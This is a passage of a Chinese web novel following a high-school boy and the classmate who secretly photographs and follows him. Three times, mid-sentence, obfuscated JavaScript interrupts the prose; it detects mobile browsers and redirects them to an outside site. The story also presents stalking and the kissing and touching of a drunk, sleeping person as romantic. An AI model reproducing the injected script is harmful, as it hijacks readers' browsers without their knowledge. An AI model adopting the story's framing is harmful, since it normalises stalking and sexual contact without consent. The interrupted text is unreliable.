他脚步突然一顿,注意到前方出现了几个人堵住了他的去向,他意识到不对,迈出的步子稍微往后退了半步,就听见身后传来了嗤笑声,他扭头往后看,果不其然后面也来了三个人。 薛蕴知眯了下眼,咬着烟嘴,看着前后走来的人,沉默地观察着目前的情况。 “总算堵到你了,”一个膀大腰粗的花臂男率先走上前,他在这里等了好几个小时,抽了一地的烟头才终于等到这小子下班,不耐烦地出声道,“上回你小子不是狂得狠吗?就一个小白脸还整上什么英雄救美了。你今天倒是可以猜一猜,有没有人能来救你?!” 前几天他吃饭的时候看中了个穿着校服、梳着高马尾的漂亮小姑娘,想找她要个联系方式认识认识,没想到那妞不识相得很,竟然不给,他当场就来了火气,把啤酒往桌上一砸,眼看着漂亮妞被吓了一跳,拿出手机要加他了,结果这小子不知道从哪儿冒出来的,竟然伸手拦住了,在他面前来了个英雄救美。 花臂男当时看着小白脸长得细皮嫩肉的,自认有些轻敌,竟然被这小子撂倒了,自觉丢了个大脸。当场就准备喊人,却正好撞上他们学校的老师路过逮了个正着,怕对方报警,他仓皇逃跑了。 但这次可不一样,他特意叫了弟兄们一起来堵这小白脸,绝对不可能再因为轻敌落败,势必要把上次丢的脸一起报复回来。 花臂男浑身散发着不好惹的气场,光是往那儿一站就是一堵墙。更别提前后围上来的有五个人了,一个个一看就是混社会的,难搞得很。 被堵在中间的薛蕴知还齐整地穿着校服,即便嘴里还叼着根烟,也被衬托得纯良了不少。 他忍不住轻轻啧了一声,没有被对方的气势恐吓到,但对面人数实在太多,他硬抗肯定不行,还是得找机会从这里溜走。 对面那个花臂男冲了上来,废话没多说,一拳直接往他脸上砸。 薛蕴知反应极快,迅速往后仰,那一拳堪堪擦着他的头发飞过,带起的拳风扬起了他额前的碎发,露出了凛冽锋利的眉眼。 薛蕴知毫不犹豫地抬手,把还在冒火星的烟头往花臂男的手臂上使劲一按,另一只手也抓住了伸到自己面前的这只手臂,禁锢住了这人的所有动作。 劣质的烟味在小巷里蔓延,还在燃烧的烟头和皮肤毫无保留地接触、摩擦,烫出一个疤来,脆弱的皮肉仿佛被当作了某种灭烟的工具,花臂男惊恐地抬眼,只能看见少年没什么感情的漆黑双眸。 这条巷道瞬间响起了杀猪般的嚎叫声:“啊啊啊!” 薛蕴知抬脚狠狠踹上那人的胸口,打起架来动作干脆利落又不留情。花臂男摔倒在地,五官痛苦扭曲,感觉自己的肋骨都被踹断了。 其余四人有点被他的气场吓到了,都有些踌躇不前。 躺在地上的花臂男一看这场景,本来就疼的肺腑更加疼了,气急败坏地指挥:“上啊!愣着干什么?都吃白饭的吗?连一个上学的小白脸都怕?!” 那四人面面相觑,被这话激到了,一起朝着中间穿校服的少年冲了过去。 薛蕴知眉眼间烦躁情绪愈重,不得不打起十二分的精力来应对。 小巷子里一片混乱,大半夜的也不会有人关注到这里的状况。花臂男也从地上爬起来了,脸色还是扭曲的,小臂被烟头烫的疼痛让他更加愤怒了。 即便是薛蕴知,一个人对上这么多人也应付得十分吃力,才刚躲开一拳就又冲来了一拳,他躲闪不及,身上生生挨了几下,强忍住疼痛,手握成拳狠戾砸了回去。余光里忽然闪过一抹银光,他眼皮一跳,意识到不对,立马偏过身子侧头躲闪,但已经来不及完全躲开了。 锋利的刀擦着脸颊而过,刺破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140951|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔软细腻的皮肤,划出一道浅淡的血痕,疼痛感绽开,薛蕴知皱了下眉,脸侧就溢出了点血珠,顺着脸颊滚落。 来不及思考别的了,花臂男又拿着刀挥了过来,刀刃的反光凝在薛蕴知的眼里,他迅速伸手扼住了面前人的手腕,阻止花臂男的动作,同时间腹部被用力砸了一拳。 他额前疼出冷汗,手上力气却丝毫不减,不让刀刃再近一分。 汗凝成大颗,顺着面部轮廓往下掉,差点眨进眼睛里,薛蕴知下颌线紧绷,全心全意地解决眼前的麻烦,呼吸在这种紧张的情况下变得急促起来,汗顺着睫毛往下掉,恍惚间就好像是溢出的泪珠一样。 忽然身后有人倒下了,在地上蜷缩打滚,捂着头发出痛苦的呻/吟,薛蕴知走神回头看了一眼,手上略微松力,花臂男抓着时机捏住刀柄用力朝他挥去,薛蕴知瞳孔骤缩,下一秒他就听见“砰”的一声闷响,面前的人倒了下去。 薛蕴知眨了下眼睛,罕见地露出了有点懵的神情。 他看着和自己穿着同款校服的少年手里拿了根长条木棍,灵活得像打地鼠一样,用力敲一个面前就倒下一个,力道控制得刚好,转眼间那五人都倒在地上嚎叫了。 脱险之后,薛蕴知整个人都卸掉了力气,失力地靠在墙上,稍微喘了口气,看了眼手里抓着木棍的人。又是那个书呆子。 温涟扔下木棍,砸在地上发出一声响。他也在喘着气,显然是狂奔过来的,和薛蕴知对视了几秒后,看着他脸上还在渗血的伤口,停顿了好一会儿,喉结滚动了下,才用正常的语气问道:“你怎么惹上他们的?” 薛蕴知没吭声,看着木棍滚到了地上一个混混手边,那人伸手要去抓木棍,他迈开腿走了几步,运动鞋径直踩在了那人手上,随意碾了碾,阻绝了这人拿木棍报复他们的念头。 耳边响起了扭曲疼痛的叫喊。还有人拨打电话试图叫人继续过来围堵他们。 温涟站在原地,眼睛直勾勾地顶着薛蕴知的脸。 黑暗的环境很容易滋生一些隐秘的欲望,白皙脸颊上滚落的血珠宛如某种最强效的催化剂,温涟视线痴迷,那双眼睛里的侵略性和爱慕满得快要溢出来,好在通通被那副土气的黑框眼镜挡住了,不易被人察觉。 突然一只手拽住了他的手腕。 想了念了不止一次的人主动拉了自己的手,这个认知让温涟眼睛睁大,浑身仿若过了道电一般酥麻,爽感顺着脊背往上窜,两条腿就像定在了原地一样,简单的触碰仍让他有种梦想成真的不真实感。 “走啊,还等他们搬救兵吗?”薛蕴知偏头看他一眼,见他好似还在状况外,用了点劲拽着他,带着他和自己一起迈开腿,跑出了这条很长很窄的巷子。 5. 第 5 章 秋天夜晚的风十分凉爽,带走了方才在那个小巷里沁出的汗。 “温……”薛蕴知一时没想起他的名字。 “温涟。”温涟的视线克制不住地黏在了薛蕴知的脸上,尤其是停留在他脸颊左边新添的血痕上。 就好像完美雕琢的藏品被打碎了一个角,虽然让人心疼又惋惜,但盯着有瑕的宝物,心里却又会猛地升腾出一种恶劣的破坏欲,想要更加肆意地撕碎伤口,看那张永远冷淡的脸上露出痛苦难受的神情。 温涟口干舌燥,厚重镜片后面那双眼睛情不自禁眯了起来,眼睛里只剩下薛蕴知脸颊滚落的血珠,恨不得伸舌主动帮他舔掉,但还不是时候,他只能舔了舔唇解馋。 但在薛蕴知看来,这就是他还陷在方才的紧张氛围中没有缓过来的表现。 想到方才被堵的事,他心里翻涌起了一点躁郁的情绪,刚才那根烟还没抽完就被浪费掉了。 为了控制自己不染上烟瘾,他没有再点一根,看着温涟,眉梢微扬,问道:“你怎么会在这儿?” 温涟终于回了神,克制着自己异常的兴奋情绪,怪异地低下头,不让他看清自己的神色,声音闷闷的:“见义勇为。” 薛蕴知点了头,打量着他,没想到刚刚拿着木棍打人的居然是这个呆子。 过了会儿,他说:“和你一样,见义勇为。” 温涟愣了愣,过了几秒才反应过来他是在回答自己在巷子里问的那句“你怎么惹上他们的?” 他低着头,唇角却咧开了,这种说出的话切实被对方关注的感觉让他感到十分幸福,即便只是简单的交谈也让他的心情无比亢奋。 两人并肩走了几步,昏黄的路灯洒下来,给两人身上都笼上一层柔和的光晕,一个气质阴沉,透明到几乎与黑暗融为一体,隐匿于漆黑中并不引人注目,而另一个仅仅随意走着路,也有种闪闪发光的瞩目感。 两人看起来似乎并不搭调。 温涟的目光也不自觉地被他吸引,抬头看他一眼,和他对视之后又迅速低下头:“你早上做检讨也是因为见义勇为吗?” 薛蕴知愣了一下,他问得太过直白,反而让薛蕴知感到了点别扭,耳根发起热来,少年人有种很奇怪的坚持,不好意思承认自己在主动做好事,于是只含糊又冷硬地“嗯”了一声,装作冷淡的模样。 温涟听着他的声音在耳边响起,每一个音节都仔细地听进去,仿佛要刻进心底一般。 两人就这样漫无目的地走了一小段路。 薛蕴知没问他这个点了怎么还没回家,也没有再闲聊下去的打算。他每天都被很多事堆满,求知欲弱得可怜,尤其是针对别人的事。没说两句,他就和温涟说了再见,表示自己要回去了。 “等一下。” 温涟盯着他看,突然想起了什么,跑向了周边的店铺,步伐匆忙,薛蕴知看着他跑进了药店,心里不禁冒出一个想法,不会是要给他处理伤口吧? 想到这儿,薛蕴知抿了下唇,移开了视线,转而盯着地面发呆,抬手轻轻触碰了下脸上的伤口。 从方才那种紧张的情况里抽离出来之后,脸上的疼痛就愈发明显了,实打实的被刀划伤溢出血的伤口,自然不会像他面上看起来那么轻松。 温涟很快就跑了回来,见他真的乖乖站在这儿等他,心头一颤,被酥酥麻麻的涨意填满,跑动的脚步也慢了下来,最后停在了薛蕴知面前。他低声解释道:“你脸上的伤要消毒。” 薛蕴知接受了他的好意,坐在了花坛旁边的长椅上,温涟俯下身子,盯着他的脸,认真地给他涂碘伏,嘱咐他:“疼的话说一声。” 温涟动作很轻,好像他是什么需要被好好宝贝着的易碎品似的,生怕弄疼了他。 薛蕴知几乎感觉不到疼痛感,但却升起一种被窥伺的怪异感。——好像有一道灼热的、不容忽视的视线时刻注视着他的脸,湿黏地舔舐着他身上的皮肤,让他生出一种不适。 他轻轻皱了下眉,温涟立马察觉到,动作一顿:“我弄疼你了吗?” 薛蕴知摇了摇头,温涟这才放下了心,继续给他上药。 上完药后,温涟从袋子翻出一盒创可贴,取下一个给薛蕴知贴上。 创可贴准确贴在了伤口上,血腥味被抑制。 浓重的中药气味钻进薛蕴知的鼻腔,让他清醒了不少,对于今天帮了自己的温涟,他抿了下唇,想感谢一下,但嘴里实在说不出什么软和话。顿了顿,最后说:“今天谢了,我要回去了,你也早点回家吧。” 长相俊帅的少年穿着校服,宽肩窄腰,左脸贴了个创可贴,并不像传统意义上的好学生,离经叛道,但就是这样反而具有一种很特别的魅力。 温涟喉结滚动了下,迅速低下头,把创可贴的盒子塞回了药店给的袋子里,他顺便还买了一些治疗跌打损伤的药剂喷雾,一起递给了薛蕴知:“这个给你。” 真的很细心啊…… “我们今天是第一次见面吧?”正因为考虑得这么周到细致,反而让薛蕴知感觉到了一种说不清道不明的奇怪,他不由得又想起了方才那种强烈的被窥伺感,看着站在自己面前的温涟,眉骨下压,眸里染上点怀疑的色彩。 “不是。”温涟抬起头。 气氛一瞬间变得凝滞怪异,方才还和谐的氛围转眼间就被沉重的怀疑所取代。 “不是第三次见面了吗?你忘了,早上我们还见过两次。”温涟抿出一个笑,刹那间冲淡了凝滞的空气,好似还在奇怪他连今天发生的事都能记岔。 “……是。”薛蕴知看不出他表情的任何端倪,也不再执着于自己心头那种隐隐约约的奇怪感觉,只当是太困了产生的错觉。 薛蕴知回家之后快速洗漱完躺在床上,睡前,他看着被自己随意放在桌上的药店袋子,眉眼间浮上种奇怪的情绪。 他沉沉地盯了一会儿,舒出一口气,困意席卷了整个大脑,他盖上被子陷入了睡眠中,很幸运的是,今晚他没有再像前几天那样陷入欲求不满的春/梦里,一觉睡到天亮。 …… 温涟也回到家里,偌大的房子,客厅里空无一人,漆黑一片。 他习惯了这种情况,没有人会在乎他在不在家,自然也不会有人注意到他是几点回的家。 但他也不在乎这些,垂至身侧的手指蜷缩了下,好像还残留着与薛蕴知肢体接触的触感,心情亢奋。 上楼时另一个房间的门却恰好开了,出来了一个容貌端正的青年,气度不凡,天然浸润着贵气与傲慢,一看就是花钱花精力用心培养出来的继承人。 和带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140952|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着土气眼镜、气质阴沉的温涟比起来,完全不像是一家人。 青年手里还拿着水杯,明显是下楼接水,看见他穿着校服走上楼,下意识问:“这么晚了你要出门?” 温涟并没有和他交流的欲望,看也没看他一眼,从他身边走过,态度显得很是冷淡:“是刚回来。” 青年也发觉自己问了个蠢问题,这才想起来一晚上都没见着温涟的人影。 但这也不能怪他,温涟总是跟个透明人一样,存在感极低,平时也不和他们讲话,性子孤僻,很不讨人喜欢,谁知道他什么时候在家。 “下回这么晚回来还是说一声,不然在外面遇到危险了,爸妈会担心。”本着作为哥哥的义务,温席林提醒了一句。 闻言,温涟唇角扬起一个嘲讽的弧度,觉得他说的有些可笑。但也没费口舌和他争论,浪费时间和这种人说话让他觉得很不值当。 他掠过温席林,一言不发地走进了自己的房间。 房间门被关上,回应温席林的提醒的只有门关上的砰的一声响,以及震动的空气。 温席林脸上瞬间显出恼怒的神色,自觉好心被当成了驴肝肺,尤其对象还是这个他瞧不上的弟弟,他感到无比丢脸,同时产生一种强烈的不满。 在他的世界观里,自己从手指缝里施舍出了一点善意,温涟就该感恩戴德地接住才对。而不是像现在这样,嗤笑一声,然后把他拒之门外。 “怪胎。” 温席林停在原地,伤人的词汇从他口中毫不留情地吐出。 他垂了眸,下楼继续去接水。心道,怪不得所有人都觉得温涟是个怪胎。 温席林重新恢复了傲慢的神色。温涟和他同父同母,却和他除了脸之外没有一丝相似的地方,浑身上下处处透露着一种阴沉的古怪,丢尽了家族脸面。 温家人虽然处处忽视这个小儿子,内心也不喜欢,但在客观条件上却是一视同仁的。 温涟的房间很大,装修风格以黑白为主,充斥着冷淡的味道。他进门后反手就锁上了门,摘下鼻梁上的那副眼镜随意搁在了桌子上。 过长的刘海被他拿了根皮筋扎了起来,扎起一个小啾啾,不再遮挡视线,于是露出了光洁的额头和一双漂亮灵动的眼睛,完全不是平时在学校里古板土气的模样,简直像换了一个人。 瞳孔偏浅,呈现琥珀色,却并不显得透亮,只剩下一种不近人情的漠然沉郁,很符合他这个人的气质。 温涟站在柜子前,手摸到暗门的开关,输入密码之后,又插入了钥匙,墙突然移动了,把另一个空间显现了出来。 温涟呼吸重了稍许,他盯着暗门里墙上贴满的照片,瞳孔倒映着照片上少年冷淡俊帅的面孔,全是抓拍、偷拍的角度。他唇角情不自禁漾起笑容,痴迷又狂热。 不敢想象这种痴汉般的尾随与偷窥他进行了多久……本该是令人嫌恶的行为,但他脸生得十分精致好看,仰头专注盯着满墙的照片,双手交叠捂在了心口的位置,感受着胸腔当中跳动着的、鲜活的心脏,就好似最忠诚的信徒在进行祷告一般,令人生不出恶感。 如果有认识薛蕴知的人在场也看见这一幕,一定会震惊到失语,浑身冒起鸡皮疙瘩。 满满的三面墙上,居然贴的全部都是薛蕴知的照片! 6. 第 6 章 薛蕴知第二天再上夜班的时候,发现和自己搭伙的同事换了一个。 ……大概就是正常的人员调动吧。他没多想,少了个找他麻烦的人他乐得轻松,继续勤勤恳恳上班。 义务教育的九年结束后,从上高中起他就在自己赚学费了。人的精力有限,薛蕴知也不是八爪鱼,他没办法做到一边兼职挣到足够他上学的钱,一边又把成绩稳稳地控制在班级前列。 崇明一中是重点中学,薛蕴知初中时候成绩不错,凭自己的实力考上了这所学校,但上了高中以来,他不得不承认,自己不能在多重压力的压迫下还游刃有余。 渐渐的,他的重心不再放在学习上,成绩一塌糊涂,近乎混日子一般。 ——能考上一所大学就可以了,像崔姨希望的那样。 薛蕴知坐在书桌前,手里抓着一张薄薄的卡片,台灯下,他手指骨节分明,十分匀称漂亮,白得发光。 崔姨就是当初收留他的那名女警。 一年前,薛蕴知执意从她的家里搬了出来,不想再打扰他们一家三口的生活,养两个孩子对于一个普通家庭来说压力相当于翻了一倍,他不想给别人的生活添麻烦,更何况他长到这么大已经给他们添了很多麻烦了。 只要薛蕴知下定主意的事,十头牛也拉不回来,崔柳拿他没办法,只好在他走之前强硬地塞给了他一张卡,看着他的眼睛认真说:“你有自己的主意,我拗不过你,但是你一个人在外面我们都不放心,拿着卡,就当应急用好不好?” 薛蕴知没推让,收下了那张卡。卡里有五万,薄薄的一张卡片仿佛拥有了沉甸甸的重量。 但搬出来这么久以来,他没有动用过里面的一分钱,反而在有闲钱的时候就往里面存进一点,积少成多。 他想,这张卡他是要还回去的。 夜里空气沉寂,外面天空繁星点点,但薛蕴知所住的房间打开窗户也看不见星星,只能看见旁边紧挨着的一栋楼,光看着就让人感到无比压抑。因此那扇窗很少被打开。 周末放两天假,他才有了这样放空大脑的时间,任由自己神思胡乱蔓延。 房间里的灯光并不明亮,房间中央悬挂的灯泡常年积灰,坐在书桌前的少年脊背挺拔,像竹子一样坚韧,背影透着一股孤寂的冷感。 气质介于少年与青年之间,复杂而具有神秘的吸引力,充斥着无形的诱惑,勾引着人去探究他灵魂深处藏着什么秘密。 手机突然亮了屏,打破了薛蕴知的小小世界。薛蕴知投去一眼,是江明发来的消息。 江明:【明天出来玩呗,哥们请吃饭】 薛蕴知支着头:【哪儿】 江明:【老地方】 * 沉年饭店,桌上摆满了丰盛的菜肴。 包间里有七八个人,热闹非凡,地上搁了好几个喝空了的酒瓶,酒气在空气中挥发。这个年龄的男生聚在一起,嘴里除了聊游戏就是聊一些带颜色的话题,聊到哪些心照不宣的事情时,哄笑声在包间里爆发。 薛蕴知没参与他们的话题,他纯粹是来吃饭的,埋着头一个劲地吃,势必要吃饱再回去。 江明注意到薛蕴知一言不发,兴致缺缺的模样,便踹了一脚笑得最嗨的那人的椅子,那人笑声骤然被打断,茫然又懵逼地转过头来。江明笑眯眯的:“收敛点,薛哥上周才刚成年呢。” 被这么一提醒,其他人这才忽然想起薛蕴知是他们当中年纪最小的,一个个把头扭过去看。 薛蕴知突然受到全场的目光注视,伸手拿起旁边的酒杯喝了口,淡定道:“成年了没事,你们聊你们的。” “那怎么行?”江明坐在他旁边,热情地一把勾住他的脖子,“一起聊啊!我可听说了,高一有个小学妹在追你哦。” 江明促狭地朝他挤着眼睛。 薛蕴知知道他说的是谁,就是上一次被混混要联系方式的高马尾女生,他恰好撞见就帮忙挡了,也就是顺手的事,虽然后来带来了一点麻烦,但也没给薛蕴知造成什么很大的影响。 但那个学妹看起来倒是很感谢他,上回来便利店买东西的时候给他留下一瓶咖啡,这段时间也时不时送一些饼干面包在他桌上,送完就跑了,像只报恩的小鸟,溜得飞快,不带走一片云彩。 薛蕴知每次拦都来不及拦,只好想着下次碰见了和她说清楚。 “那学妹可漂亮了,听说平时性格特别内向……唔!”江明嘴巴被一把捏住,捏成了个小鸭子模样,唔唔好半天吐不出一个字,目光转向薛蕴知,手里着急得直比划。 薛蕴知语气淡淡,做了个澄清:“别瞎说,没在追我,别给别人造谣。” 江明嘴巴还被捏着,立马捣蒜似的点点头,表示自己知道了,可怜地指了指自己还被捏着的嘴。 薛蕴知眉梢一挑,顺势松开了手。 桌子上的其他人被他这挑眉的动作帅了一跳,心脏差点都漏了一拍,急忙低下头喝酒掩饰自己不自然的神态。 薛蕴知长得很帅,是一个人尽皆知的事实,但是那种很有攻击力的、锋利的帅,棱角分明,神情冷淡。 因此即便很多人喜欢他,也只敢在心里默默暗恋,顶多就是趁没人的时候偷偷把礼物放在他桌框里桌子上。 公开追求他的人少之又少,值得一提的是,这少之又少的人里全是男的。那个时候还没有人知道薛蕴知恐同,只知道他被追到面前表白了总逃跑。 气质冷淡的少年似乎是被表白了就害羞的性格,反差太大,避之不及的态度反而激起了某些纨绔子弟的征服欲。 薛蕴知高一下学期,那张硬帅的脸已经引起了广泛的关注,当时就有个富二代嚣张地放话说三个月内必追到他。 当然没成功,那富二代恼羞成怒,给薛蕴知下了药,想要霸王硬上弓,却被薛蕴知逮了个正着,一口没喝,还结结实实地按着他把他揍了一顿。 玻璃杯砸在地上,碎片零散,下了药的酒淌得满地都是,一片狼藉。富二代被揍得痛哭流涕的,手臂扭着被按倒在地上,薛蕴知轻而易举地摁住他,低着眸,一脸冷漠,富二代则涕泗横流,抛弃脸面地大喊:“哥哥哥!!求你了,我真错了!!” 当时薛蕴知冷着一张俊脸,只留下了两句至今仍被提起的话。 一句是:“我不喜欢男的。” 另一句是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140953|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“滚远点。” 嗓音冷沉,苏得叫人腿软。 那个富二代从小到大没受过这种委屈,心里憋屈得不行,还计划着以后一定要给薛蕴知一个教训,结果性感低沉的嗓音在自己头顶响起,他脖颈瞬间红了一片,脑子一片轰鸣,竟然生生被骂/硬了。 …… 薛蕴知并不热衷于聊天,但也没破坏热闹的气氛,适时地加入他们的话题说上一两句。 酒瓶不知不觉间逐渐空了下去,地上堆满了喝光的酒瓶,酒气熏天。 薛蕴知喝得头有点发晕,脸颊漫上点醉人的红,起身说自己出去透透气。 江明没喝酒,他酒精过敏,是这张桌子上最清醒的人了,看到薛蕴知走了几步,突然间步伐不稳地扶了下墙,他倏地站起了身,椅子和地板摩擦划拉出刺耳的声响。 他有点不放心地想跟上去,却被薛蕴知拒绝了。 “我就出去吹吹风。”薛蕴知手按在他的肩上,把他按得坐回了原位,因为喝多了酒,控制不好力道,江明的肩被他按得发疼。 浓密的眼睫垂下,勾连出一小片阴影,平日里盛满淡漠冷色的一双桃花眼,此刻却水光潋滟,江明不经意间和他对视一眼,心头蓦然升起一点奇怪的情绪,眼神被定住了一般,呆呆地望着薛蕴知。 薛蕴知出了包间,走出了这家饭店,天已经黑了,街道上的人并不多,深夜的冷风吹过,带走了一身的酒气。 他穿着随意,简单的黑色带帽卫衣,配上一条浅蓝色的牛仔长裤,一只腿微微曲起,低头点烟,火苗被风吹得乱窜,半天点不燃,薛蕴知轻啧了一声,有点不耐烦了。 “抽烟对身体不好。” 陌生却又熟悉的嗓音在耳边响起。 浆糊的脑子不太能分辨出这是属于谁的声音。薛蕴知抬起眸,白皙的脸颊漫着醉人的红,眼睛也漫着雾气。 幼弱的火光隐隐绰绰,在黑夜里把他的脸映得发红色亮光,他五官生得极好,高挺的鼻梁投下小片阴影。 面前站着的是个和他身量差不多的男生,过长的刘海被发卡暂时性地别了起来,露出清晰精致的五官,气质清俊温雅。 薛蕴知总觉得好像是见过他的,但半天都想不起来,眉毛不自觉地拧了起来。 “忘记我了吗?”温涟没戴那副土气的黑框眼镜,瞳孔偏浅,晕着朦胧的光,他凑近了些,专注又认真地盯着面前人的脸,两人之间的距离靠得极近。 放在平时,薛蕴知肯定会不留情面地推开他,但这次是真的喝得多了,意识都有点模糊了,被他拉近距离,也没有立马做出强烈的反抗反应,只是眨了下眼。 “薛蕴知,你喝醉了?” 温涟伸手,指腹触上薛蕴知眼角的那颗泪痣,烫意从脸颊传递到了偏凉的手指上,呼吸声重了起来,他手指忽然用了点力,刮蹭过那颗红痣。 薛蕴知被他弄疼了,身体下意识作出反应,偏过头,躲开了他的手,眉头蹙起。 温涟手指停在空中蜷缩了下,他眼睛一眨不眨盯着薛蕴知,唇角漾起了点笑,声音轻飘飘的,被风一吹就散了,自言自语般:“这不就给了我可趁之机吗?” 7. 第 7 章 “你穿的好少,会被吹感冒的。我带你回家吧。”温涟出声。 薛蕴知嘴里还咬着根没点燃的烟,唇瓣颜色湿红,黑色碎发被冷风吹得轻轻晃动,冷声冷气的:“你谁?” 他嗓音有点含糊,还很哑。 “高三一班温涟,”温涟从口袋里摸出校牌,展开放在自己脸旁边,让他好好比对一下,“认出我了吗?” 薛蕴知还是犹疑地盯着他。 温涟忽然想起了什么,又从口袋里拿出眼镜戴上。这下除了被别起的刘海外,和校牌上的人没有多少不一样了:“这样可以认出来吗?” 薛蕴知咬着烟,脑袋凑近,左右看了好一会儿,确认是他,于是矜持地颔首,没再表现出抗拒。 源于前几次的接触,他潜意识里是信任温涟的。 温涟伸手捏住了他嘴里露出半截的烟,薛蕴知眼睫颤动一下,下意识松开了齿关,任由他把烟从自己嘴里抢走了。 视线扫过湿润红艳的唇舌,温涟眼里兴奋的光跳动了好几下,最后还是勉强克制住了,伸手去拉他,手从薛蕴知的手上滑过,细腻柔润的触感让他血液汹涌,最后停在了手腕,隔着衣服袖子抓住了他。 薛蕴知跟着他往街道上走。他打开车门,看着薛蕴知上车后,自己也坐了上去,和他并排坐在一起。 车里比外面温暖不少,薛蕴知喝醉后不会大吼大叫发酒疯,也不会吐个天昏地暗,他看起来很安静,身体前倾,手撑着头,眉头不舒服地拧在一起,还把卫衣的帽子扣在了头上,脸庞隐没在阴影当中。 但由于这个动作,卫衣受重力垂下,露出了大半锁骨,甚至里面的颜色也若隐若现。 温涟的目光自始至终都没有离开过他,喉结不住滚动,眸中的爱欲都快要倾泻出来,像丝丝缕缕的看不见的坚韧银线,裹缠着少年的全身,看似温和平静,但却会在某一天不断地收紧,把人围困束缚在银线之中。 浅色的瞳孔倒映着黑色卫衣的少年,他忍不住弯起唇角,喝醉了怎么这么好骗。 “小少爷,现在是去哪儿?”司机出声问道。 温涟轻声道:“去乾港的那套房子。” 司机:“好的小少爷。” 车平稳地行驶着,到达目的地的时候薛蕴知已经阖上眼睛靠在窗边睡着了。温涟下车后,想要打开车门把他抱下来,没想到只是一点轻微的动静就把他惊醒了。 “到了?”薛蕴知嗓音沙哑,带着浓浓的睡意。 温涟肯定他:“到了。” 薛蕴知下了车,才发现这是个完全陌生的地方,揉着额角,神情有点懵:“这是我家?” “我不知道你家住哪里的,”温涟用一种比他更茫然的神情回看他,眨了眨眼睛,“所以就把你带回我家了。” 薛蕴知转身往回看了一眼,温涟看出他在想什么,在他身后适时补充道:“太晚了,司机也要回去睡觉了,不勉强的话,你先在我这儿将就一晚上,明天我再送你回去可以吗?” 温涟说话时经常是以一种询问的语气,很温和轻软的语调,让人觉得在被认真地询问意见,但实际上话里话外都只给他留下了一个选择。 留下来。 “好。” 薛蕴知果然应了下来,这在温涟的意料之中,他弯了下眼,浅眸里浸着蜂蜜似的甜意。薛蕴知不经意间和他对视上,视线卡了几秒,仿若被眸里浓烈的情感浓度烫到,别扭地移开了视线。 这套房子是属于温涟的,但房子里的摆设依旧少得可怜,空闲的空间很大,并不像是长期有人生活的样子,空气湿度偏高。 房子里的东西准备得很齐全,一次性的洗漱用品以及新的睡衣睡裤都有。 薛蕴知看起来还算清醒,其实醉得已经迷迷糊糊了,不然也不会温涟说什么他就信什么,没有任何设防地就上了车。 他喝完温涟递来的醒酒汤,躺倒在床上,眼睛阖上,昏昏沉沉地睡着了,睡衣领口大开着,他习惯性地不系最上面的几颗纽扣。 薛蕴知明显是帅而自知的类型,即便并不是刻意为之,也无时无刻不在散发着魅力。这种习惯却方便了触手撩开他的睡衣钻了进去,留下一道湿黏的爬行痕迹。 他难受得蹙起眉头,身体下意识蜷缩了起来,脊背弓起紧绷着,却没有办法阻止肆意妄为的触手。如果他这个时候被惊醒睁开了眼睛,就会赫然发现自己面前正对着一张放大的脸! 温涟趴在他面前,瞳孔里清晰倒映着薛蕴知的脸,视线仔细描摹着面前人优越的五官,似乎要深深刻进脑子里。用眼睛看还不够,他又伸出了手,第一次实打实触碰着闭合着的柔软的唇。 薛蕴知平日里冷硬得像块石头,从没听见他说过什么软话,硬邦邦的,嘴巴却依然软得像果冻。 被手指轻松地撬开,抵上了里面坚硬的牙齿,湿软的舌被藏在了齿列里面,不让手指轻易地侵/犯。 温涟盯着他,房间里没有开灯,只有窗户透进来的依稀月光,衬得房间里的画面无比诡谲奇异。一根明显粗壮的触手把睡衣撑得鼓起,睡衣布料各处不断地凸起来又垂落下去,彰显着触手的行动轨迹,处处透露着阴森与不正常。 ……不够,不够。 温涟眸里盛满了焦躁不安的情绪,只觉得还是不够,他离薛蕴知越来越近,最后抽出手,暧昧银丝断开,自顾自地把唇贴了上去,终于发出一声极轻的满足的喟叹。 这样才对。唇贴着唇,再没有更近一步的动作。 仅仅是这样的接触,温涟不安跳动的心却像是受到了极大的安抚,回到了原处。触手被他收了回去,床上只剩下他们两人,从窗外投射进来的月光落在他们身上,竟然添上了几分温馨的淡雅色彩。 温涟爬上了床,伸手抱住了他,手臂收紧,从他身上不断汲取着温暖与安全感,他抱着薛蕴知,从没有如此安心过,又把唇贴了上去。 好软,好舒服。温涟伸出软舌细细地舔舐着,一点点扫过薛蕴知紧闭的唇瓣,试探性地抵了抵唇缝,却没有使劲抵进去,只是舍不得不放过任何一寸角落,神色痴迷又虔诚,到了一种不正常的地步。 他无比珍视这次可遇不可求的机会。 